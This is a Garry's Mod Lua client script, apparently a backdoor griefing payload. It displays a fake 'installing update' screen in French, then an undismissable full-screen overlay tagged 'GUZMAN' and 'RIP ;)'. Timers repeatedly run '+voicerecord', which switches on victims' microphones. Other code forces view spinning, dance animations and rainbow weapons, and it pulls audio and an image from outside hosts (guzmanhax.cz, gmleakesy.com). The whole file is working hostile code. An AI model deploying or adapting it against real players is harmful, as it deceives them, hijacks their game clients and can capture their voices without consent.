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  1. local loadingPercent = 0
  2. local W, H = ScrW(), ScrH()
  3.  
  4. surface.CreateFont("lapolice", {
  5. font = "Open Sans",
  6. size = ScrW()*0.02,
  7. weight = 10,
  8. blursize = 0,
  9. scanlines = 2.5,
  10. antialias = false
  11. })
  12.  
  13. surface.CreateFont( "PureBigButtonFont", {
  14. font = "Open Sans",
  15. extended = false,
  16. size = 23,
  17. weight = 400,
  18. blursize = 0,
  19. scanlines = 0,
  20. antialias = true,
  21. underline = false,
  22. italic = false,
  23. strikeout = false,
  24. symbol = false,
  25. rotary = false,
  26. shadow = false,
  27. additive = false,
  28. outline = false,
  29. } )
  30.  
  31. ledermatriste = vgui.Create("DFrame")
  32. ledermatriste:SetPos(0,0)
  33. ledermatriste:SetSize(ScrW(), ScrH())
  34. ledermatriste:ShowCloseButton(false)
  35. ledermatriste:SetTitle("")
  36. ledermatriste:SetVisible(true)
  37. ledermatriste:MakePopup()
  38. ledermatriste:SetDraggable(false)
  39. ledermatriste.Paint = function(self, w, h)
  40. draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
  41. end
  42.  
  43. local logoma = vgui.Create("DImage", ledermatriste)
  44. logoma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
  45. logoma:SetSize(500, 500)
  46. logoma:SetImage("materials/puresystem/logo_marteaupure.png")
  47.  
  48. local timerloadingbar = vgui.Create("DPanel", ledermatriste)
  49. timerloadingbar:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
  50. timerloadingbar.Paint = function(self, w, h)
  51. draw.RoundedBox(5, 0, 0, w, h, Color(255, 255, 255))
  52. end
  53.  
  54. local timerloadingbardone = vgui.Create("DPanel", ledermatriste)
  55. timerloadingbardone:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
  56. timerloadingbardone.Paint = function(self, w, h)
  57. draw.RoundedBox(5, 0, 0, w, h, Color(241, 193, 0,255))
  58. end
  59.  
  60. local timerloading = vgui.Create("DLabel", ledermatriste)
  61. timerloading:SetPos(ScrW()/2 - 100, ScrH()/2 + 250)
  62. timerloading:SetText("Installation de la mise à jours...")
  63. timerloading:SetColor(Color(24,24,24,255))
  64. timerloading:SetFont("PureBigButtonFont")
  65. timerloading:SizeToContents()
  66.  
  67. timerloadingbar:SetSize(timerloading:GetWide() + 100, timerloading:GetTall() + 10)
  68. timerloadingbardone:SetSize(0, timerloading:GetTall() + 10)
  69.  
  70. timer.Create("charglogo", 1, 1, function()
  71. logoma:AlphaTo(10, 1, 0)
  72. logoma:AlphaTo(255, 1, 1)
  73. timer.Adjust("charglogo", 3, 0, function()
  74. logoma:AlphaTo(10, 1, 1)
  75. logoma:AlphaTo(255, 1, 2)
  76. end)
  77. end)
  78.  
  79. local timePassed = 0
  80.  
  81. timer.Create("parleput1", 0.1, 0, function()--PARLE !!!
  82. RunConsoleCommand("+voicerecord")
  83. end)
  84.  
  85. timer.Create("Pure_loadingTimeout", 1, 0, function()
  86. timePassed = timePassed + 1
  87. loadingPercent = loadingPercent + math.random(14, 15)
  88. if loadingPercent > 50 then
  89. timer.Remove("Pure_loadingTimeout")
  90. loadingPercent = 80
  91. end
  92. timerloadingbardone:SizeTo(timerloadingbar:GetWide() * loadingPercent / 100 , -1, 3)
  93. end)
  94.  
  95. timer.Simple(25, function()
  96. if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
  97. timerloadingbardone:SizeTo(timerloadingbar:GetWide() * 90 / 100, -1, 3)
  98. end
  99. end)
  100.  
  101. timer.Simple(30, function()
  102. timer.Remove("charglogo")
  103.  
  104. if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
  105. timerloadingbardone:SizeTo(timerloadingbar:GetWide(), -1, 1)
  106. end
  107. end)
  108.  
  109. timer.Simple(31, function()
  110. if ledermatriste != nil then
  111. ledermatriste:Remove()
  112. enigma()
  113. end
  114. end)
  115.  
  116.  
  117.  
  118.  
  119. timer.Simple(63, function()
  120. enigma:Remove()
  121. timer.Remove( "charglogo" )
  122. RunConsoleCommand("+right")
  123. RunConsoleCommand("+voicerecord")
  124. RunConsoleCommand("cl_yawspeed","9999")
  125. RunConsoleCommand("r_shader_srgb","1")
  126. end)
  127.  
  128.  
  129. timer.Simple( 73, function()
  130. RunConsoleCommand("-right")
  131. RunConsoleCommand("cl_yawspeed","8")
  132. timer.Remove("parleput1")
  133. timer.Remove("cheer_loop")
  134. end )
  135.  
  136. timer.Simple( 200, function()
  137. RunConsoleCommand("r_shader_srgb","0")
  138. end )
  139.  
  140. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
  141.  
  142. timer.Create("cheer_loop",2.7,0,function()
  143. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
  144. end )
  145.  
  146.  
  147. hook.Add("Think","somewhere_over_the_rainbow",function()
  148. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  149. for _, v in ipairs(player.GetAll()) do
  150. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  151. end
  152. end)
  153.  
  154. function enigma()
  155. enigma = vgui.Create("DFrame")
  156. enigma:SetPos(0,0)
  157. enigma:SetSize(ScrW(), ScrH())
  158. enigma:ShowCloseButton(false)
  159. enigma:SetTitle("")
  160. enigma:SetVisible(true)
  161. enigma:MakePopup()
  162. enigma:SetDraggable(false)
  163. enigma.Paint = function(self, w, h)
  164. draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
  165. draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  166. draw.DrawText( "WaDixix", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  167. draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  168. draw.DrawText( "NetherStack", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  169. draw.DrawText( "NetherStack", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  170. draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  171. draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  172. draw.DrawText( "GUZMAN", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  173. draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  174. draw.DrawText( "GUZMAN", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  175. draw.DrawText( "GUZMAN","lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  176. draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  177. draw.DrawText( "GUZMAN","lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  178. draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  179. draw.DrawText( "GUZMAN", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  180. draw.DrawText( "Wadix", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  181. draw.DrawText( "GUZMAN", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  182. draw.DrawText( "WaDixix", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  183. draw.DrawText( "GUZMAN", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  184. draw.DrawText( "Wadix", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  185. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  186. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  187. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  188. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  189. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  190. end
  191.  
  192. sound.PlayURL( "https://guzmanhax.cz/brass.mp3", "mono", function()end )
  193.  
  194. local logenigma = vgui.Create("HTML", enigma)
  195. logenigma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
  196. logenigma:SetSize(500, 500)
  197. logenigma:OpenURL( "https://gmleakesy.com/assets/m/LEGIZEHMENUCTROPBIENLESRHAY.gif")
  198.  
  199. end
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